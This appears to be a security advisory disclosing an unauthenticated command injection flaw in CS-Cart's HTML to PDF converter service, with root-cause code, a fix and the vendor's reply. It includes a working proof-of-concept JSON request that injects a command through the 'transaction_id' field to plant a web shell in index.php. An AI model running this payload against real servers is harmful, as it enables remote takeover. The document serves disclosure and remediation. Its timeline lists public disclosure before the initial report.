A nearly seven-years-old command injection vulnerability exists in CS-Cart’s HTML to PDF converter allowing unauthenticated attackers to achieve remote command execution (RCE). The vulnerability only affects the HTML to PDF converter service and the default hosted service at converter.cart-services.com (maintained by CS-Cart’s development team) used by the PDF converter plugin, and does not allow for RCE against base installations of CS-Cart.

Product Background

In CS-Cart v4.13.2, the HTML to PDF converter is an optional plugin (disabled by default) for printing PDF documents in CS-Cart. However, the plugin is built-in and enabled by default in CS-Cart v4.13.1 or below.

Note that the affected product refers to the external service used for converting HTML to PDF, which can be self-hosted.

Confirmed Vulnerable Version

All versions of the CS-Cart HTML to PDF converter service cscart/pdf up to and including commit 0e8c5bb are vulnerable.

Security Impact

An unauthenticated attacker is able to obtain remote code execution via the PDF converter service.

Proposed CVSS3.1 Rating

Base Score: 9.8 (Critical)

Root Cause Analysis:

The request body is JSON-decoded as an associative object in /index.php:

$r = new Router(APP_WEB);

$r->post('/pdf/render', function() {
    $request = json_decode(file_get_contents('php://input'), true);
    return Converter::convert($request);

The vulnerability can be found in the Converter::convert($params) function declared in /app/Pdfc/Converter.php:


namespace Pdfc;

class Converter
    static public function convert($params)
        if (!empty($params['content'])) {

            $transaction_id = '';
            if (!empty($params['transaction_id'])) {
                $transaction_id = $params['transaction_id']; // [1]
            } else {
                $transaction_id = md5(uniqid('', true));

            $html_file = APP_DIR . '/files/' . $transaction_id . '.html'; // [2]
            $pdf_file = APP_DIR . '/files/' . $transaction_id . '.pdf';   // [3]
            @file_put_contents($html_file, $params['content']);           // [4]

            $cmd = self::getBinPath() . ' ' . self::formParams($params) . ' ' . $html_file . ' ' . $pdf_file; // [5]
            exec($cmd); // [6]

            $contents = @file_get_contents($pdf_file);

        return $contents;

At [1], $params['transaction_id'] is a user input obtained from the request body’s JSON object.
At [2] and [3], the file paths to the respective HTML and PDF files are constructed using the user input at [1]. However, since the user input is not validated and sanitised, $transaction_id may contain arbitrary characters.
At [4], file write beyond in the intended /files/ directory is possible with a path traversal payload (i.e. using ../ in $transaction_id). While this is irrelevant to the command injection vulnerability, it is worth noting and fixing.
At [5], a shell command is constructed using the $html_file and $pdf_file from [2] and [3] respectively without properly escaping the arguments containing untrusted user input. Subsequently, the command is executed within a shell at [6], thereby allowing for remote command execution.

The following endpoints may be exploited to invoke the vulnerable Converter::convert() function with user-controlled values:

  1. /pdf/render (POST)
  2. /pdf/batch/add (POST) in conjunction with /pdf/batch/render/* (GET/POST)

Reproduction Steps:

  • Set up the HTML to PDF converter infrastructure in a Docker environment as per the instructions listed at https://github.com/cscart/pdf-infrastructure.
  • Issue the following HTTP request to exploit the command injection vulnerability to append PHP code to the router file at /index.php:
    POST /pdf/render HTTP/1.1
    Host: localhost
    Content-Type: application/json
    Accept: */*
    Content-Length: 180
    {"content":" ","transaction_id":"; echo '$r->get(\"/rce\", function() { return shell_exec($_GET[\"cmd\"]); })->accept(Response::status());' >> /var/www/html/genworker/index.php #"}
  • Navigate to http://localhost:80/index.php?cmd=id, and observe that the output of the id command is returned:
    uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),2(daemon),4(adm)


Ensure that user input is validated and sanitised before using them to construct shell commands. In this particular case, a simple fix will be to escape each command argument accordingly:

$html_file = APP_DIR . '/files/' . $transaction_id . '.html';
$pdf_file = APP_DIR . '/files/' . $transaction_id . '.pdf';
@file_put_contents($html_file, $params['content']);

$cmd = self::getBinPath() . ' ' . self::formParams($params) . ' ' . escapeshellarg($html_file) . ' ' . escapeshellarg($pdf_file);

While the above code snippet fixes the command injection vulnerability, do note that appropriate validation checks still needs to be implemented prevent path traversal attacks via $transaction_id.

The vendor discovered the vulnerability internally as well. Their response upon receiving the report is as follows:

We highly appreciate your efforts applied on finding this vulnerability and clearly see your professional approach.

Fortunately, we learned about this issue not long ago, as a result of our internal audit, and have already completely changed all the logic used by this service so that it can no longer be affected by this vulnerability:

https://github.com/cscart/pdf-infrastructure/commit/0b4b11cf254d8556fbd13d442ba9ea8e8dc3db64 https://github.com/cscart/pdf/commit/b49d68eeb35b08ed08f90eaea04eca7ef397bc97

So now this vulnerability no longer applicable and cannot affect the service.

Note: While the hosted service provided by vendor has been fixed, users that are self-hosting the HTML to PDF converter service will need to update and patch accordingly.

Disclosure Timeline

  • 9 February, 2023 - Initial report to vendor
  • 13 February, 2023 - Vendor acknowledged but it was fixed a few days before report was sent.
  • 03 February, 2023 - Public disclosure